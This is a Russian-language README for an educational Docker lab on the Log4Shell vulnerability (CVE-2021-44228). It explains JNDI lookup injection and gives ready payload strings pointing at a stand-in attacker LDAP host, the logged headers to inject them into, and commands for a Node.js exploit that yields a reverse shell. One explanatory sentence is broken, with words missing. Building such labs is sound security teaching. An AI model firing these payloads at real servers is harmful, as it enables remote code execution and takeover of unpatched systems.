
Образовательная лаборатория на основе Docker, демонстрирующая эксплуатацию RCE Log4Shell (CVE-2021-44228) с помощью уязвимого Java-приложения, LDAP-редиректора и автоматизированного скрипта эксплуатации.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Эта лаборатория создана исключительно для образовательных целей и исследований в области безопасности. Весь трафик проходит внутри изолированной сети Docker. Не используйте этот материал в реальных системах или без явного разрешения. Неправомерное использование может быть уголовно наказуемо. Используйте ответственно.
Log4Shell — это критическая уязвимость (CVSS 10.0), обнаруженная в декабре 2021 года в библиотеке логирования Apache Log4j 2, широко используемой в Java-приложениях.
Log4j имеет функцию интерполяции выражений: при записи сообщения он вычисляет строки в формате ${...}. Например, ${java:version} заменяется на версию Java во время выполнения.
Проблема заключается в поддержке протокола JNDI (Java Naming and Directory Interface). Когда Log4j встречает выражение вроде:
${jndi:ldap://atacante.com/exploit}
он указывает JVM выполнить LDAP-запрос к серверу атакующего. Сервер отвечает ссылкой на удалённый Java-класс — и JVM , что приводит к .
Вектор атаки прост: любое поле, которое логируется сервером (HTTP-заголовки, поля форм, cookies и т.д.), может стать точкой входа для полезной нагрузки.
2.0-beta9 до 2.14.12.15.0 (и окончательно в 2.17.0)Лаборатория имитирует реальное Java-приложение, использующее уязвимые версии.
| Компонент | Версия | Почему уязвим |
|---|---|---|
| Apache Log4j | 2.14.1 | Вычисляет ${jndi:...} без ограничений |
| JDK | 1.8.0_181 | Предшествует патчу 8u191, устанавливающему trustURLCodebase=false |
| Spring Boot | 2.5.6 | Только веб-фреймворк; уязвимость в Log4j |
GET http://localhost:8080/log
Следующие заголовки напрямую логируются Log4j — любой из них может быть вектором внедрения:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Служба | Порт | Функция |
|---|---|---|
| marshalsec (LDAP) | 1389 | Принимает JNDI-запрос и перенаправляет на HTTP-сервер |
| Python HTTP сервер | 8888 | Отдаёт Exploit.class для JVM жертвы |
| слушатель netcat | 9001 | Принимает соединение обратной оболочки |
docker-compose up --build
Дождитесь появления в логах:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
В другом терминале выполните Node.js эксплойт:
node exploit/exploit.js
Ожидаемый вывод:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Наблюдайте за терминалом, где выполняется docker-compose. В логах контейнера attacker вы увидите подключение обратной оболочки на порту 9001.
Чтобы подтвердить выполнение touch /tmp/pwned внутри уязвимого приложения:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
Guaxinim | Исследования кибербезопасности